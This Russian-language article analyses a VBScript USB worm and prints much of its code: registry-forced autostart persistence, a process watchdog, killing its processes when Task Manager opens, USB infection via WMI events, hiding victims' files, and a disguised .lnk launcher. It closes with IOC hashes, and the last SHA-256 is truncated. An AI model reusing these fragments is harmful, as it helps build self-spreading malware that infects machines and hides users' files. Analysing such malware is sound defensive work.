Введение
В этой статье — разбор примитивного, но показательного USB-червя, полностью реализованного на VBScript. Несмотря на простоту языка, код демонстрирует полный набор классических техник: закрепление в системе, маскировку, контроль процессов и автоматическое заражение флешек.
Общая идея
Этот набор скриптов реализует классическую схему:
Закрепиться в системе
Следить за собственными процессами
Запускать payload только при отсутствии анализа
Отслеживать подключение USB
Копировать себя на флешку
Скрывать файлы пользователя
Подсовывать
.lnkдля дальнейшего запуска
Никаких эксплойтов — только штатные возможности Windows.
Инициализация: подавление ошибок и окружение
Практически каждый файл начинается одинаково:
On Error Resume Next Set ws = WScript.CreateObject("WScript.Shell") Set objws = CreateObject("Scripting.FileSystemObject") Set objWinMgmt = GetObject("WinMgmts:Root\Cimv2")
Здесь сразу три важных момента:
On Error Resume Next— игнорирование любых ошибок, чтобы скрипт не падалWScript.Shell— работа с реестром, процессами, ярлыкамиFileSystemObject— доступ к файлам и каталогамWinMgmts— WMI, основной источник информации о системе
Это стандартный минимальный набор для VBS-вредоноса.
Определение текущего расположения
Скрипт всегда определяет, откуда он запущен:
strPath = WScript.ScriptFullName Set objFile = objws.GetFile(strPath) strFolder = objws.GetParentFolderName(objFile) strPath = strFolder & "\"
Зачем это нужно:
скрипт не зависит от фиксированного пути
все дочерние файлы (
installer.vbs,WindowsServices.exe) ищутся рядомудобно для USB-распространения
Закрепление в автозагрузке
Работа с StartupApproved
Windows хранит состояние автозапуска не только в папке Startup, но и в реестре:
nkey = "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved\StartupFolder\helper.lnk" key = ws.RegRead(nkey) If (Not IsEmpty(key)) Then ws.RegWrite nkey, 2, "REG_BINARY" End If
Что происходит:
если пользователь отключил автозапуск через Диспетчер задач
Windows помечает ярлык как disabled
скрипт насильно возвращает значение
02— «разрешено»
Это простой, но эффективный persistence.
Создание ярлыка в Startup
startupPath = ws.SpecialFolders("startup") If Not objws.FileExists(startupPath & "\helper.lnk") Then Set link = ws.CreateShortcut(startupPath & "\helper.lnk") link.TargetPath = Chr(34) & strPath & "helper.vbs" & Chr(34) link.WorkingDirectory = strPath link.Save End If
Здесь всё классически:
%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup.lnk, а не прямой запускрабочая директория указывает на папку с другими
.vbs
Контроль процессов и самовосстановление
Скрипт постоянно опрашивает WMI:
Set colProcess = objWinMgmt.ExecQuery( "Select * From Win32_Process where name = 'wscript.exe'" )
Далее вызывается функция procheck:
call procheck(colProcess, "installer.vbs")
Разберём её:
sub procheck(checkme, procname) For Each objProcess In checkme vaprocess = objProcess.CommandLine If InStr(vaprocess, procname) Then Exit Sub End If Next ws.Run Chr(34) & strPath & procname & Chr(34) end sub
Логика простая, но важная:
перебираются все wscript.exe
анализируется CommandLine
если нужный
.vbsуже запущен — ничего не делаемесли нет — перезапускаем
Это примитивный watchdog.
Анти-анализ: реакция на Task Manager
Set tskProcess = objWinMgmt.ExecQuery( "Select * From Win32_Process where name Like '%Taskmgr.exe%'" )
Далее:
If colProcess.Count = 0 And tskProcess.Count = 0 Then ws.Run miner, 0 ElseIf colProcess.Count > 0 And tskProcess.Count > 0 Then For Each objProcess In colProcess ws.Run "taskkill /PID " & objProcess.ProcessId, 0 Next End If
Смысл:
нет Task Manager
можно запускать payload
Task Manager открыт
убиваем процессы, чтобы скрыть активность
Никакой эвристики — только проверка имени процесса.
Отслеживание USB через WMI Events
Ключевой момент — подписка на события:
Set colEvents = objWMIService.ExecNotificationQuery( "SELECT * FROM __InstanceOperationEvent WITHIN 1 WHERE TargetInstance ISA 'Win32_LogicalDisk'" )
Скрипт не опрашивает диски вручную — он ждёт события.
Set objEvent = colEvents.NextEvent
Проверка типа носителя:
If objEvent.TargetInstance.DriveType = 2 Then
2 = removable (USB).
Подготовка флешки
Создаётся скрытая папка:
DestFolder = device & "\WindowsServices" objws.CreateFolder DestFolder objDestFolder.Attributes = objDestFolder.Attributes + 39
39 = Hidden + System + ReadOnly.
Копирование файлов червя
Call moveandhide("\helper.vbs") Call moveandhide("\installer.vbs") Call moveandhide("\movemenoreg.vbs") Call moveandhide("\WindowsServices.exe")
Функция:
sub moveandhide(name) If Not objws.FileExists(DestFolder & name) Then objws.CopyFile strFolder & name, DestFolder & "\" Set objmove = objws.GetFile(DestFolder & name) objmove.Attributes = objmove.Attributes + 39 End If end sub
Таким образом флешка заражается полным комплектом.
Сокрытие файлов пользователя
Создаётся папка _:
DummyFolder = device & "\_" objws.CreateFolder DummyFolder objDestFolder.Attributes = objDestFolder.Attributes + 2 + 4
Все реальные файлы переносятся туда:
objws.MoveFile path & file.Name, DummyFolder & "\" objws.MoveFolder home, DummyFolder & "\"
Для пользователя флешка выглядит пустой.
Социальная инженерия через .lnk
Set link = ws.CreateShortcut(device & "\" & devicename & ".lnk") link.IconLocation = "%windir%\system32\SHELL32.dll, 7" link.TargetPath = "%COMSPEC%" link.Arguments = "/C .\WindowsServices\movemenoreg.vbs" link.WindowStyle = 7 link.Save
Пользователь кликает «флешку» → запускается скрипт → заражение продолжается.
Вывод
VBScript давно считается устаревшим языком: он не развивается, официально вытесняется PowerShell и отключается в современных корпоративных средах. Тем не менее, данный пример наглядно показывает, почему VBS до сих пор используется в реальных вредоносных кампаниях.
Причины простые и прагматичные:
VBScript предустановлен практически во всех версиях Windows
не требует компиляции и сторонних библиотек
имеет полный доступ к WMI, реестру, файловой системе и COM
легко маскируется под «служебные» или легаси-скрипты
часто игнорируется защитными средствами как «шум»
Даже без эксплойтов, драйверов и сложной обфускации VBS позволяет реализовать:
устойчивое закрепление в системе
самовосстановление
контроль пользовательских действий
автоматическое распространение через USB-носители
Этот кейс — хороший пример того, что устаревший стек ≠ неопасный стек. Пока Windows продолжает доверять WSH, подобные скрипты будут оставаться удобным инструментом для low-cost и low-noise вредоносных операций.
Хеши файлов (IOC)
helper.vbs
MD5 : 309e4806ec5c609a33fe7f739bad2a7b SHA-1 : 6ad97c437d533bcb8643780317d74c0549ee6b83 SHA-256 : 68afc08e23b2099bd5f67c3a5473e8fd9c1f564ee8904ec9c3206ed685d7e67f
installer.vbs
MD5 : 9ae0e85c4c4fd4f6167f45af65cc3879 SHA-1 : 65d67ea8314eea448a80ee9669a078e73453ff13 SHA-256 : 54787c33bddc0dbcfc81ff200c6234bbbfab84741531ca7a5c77009a757469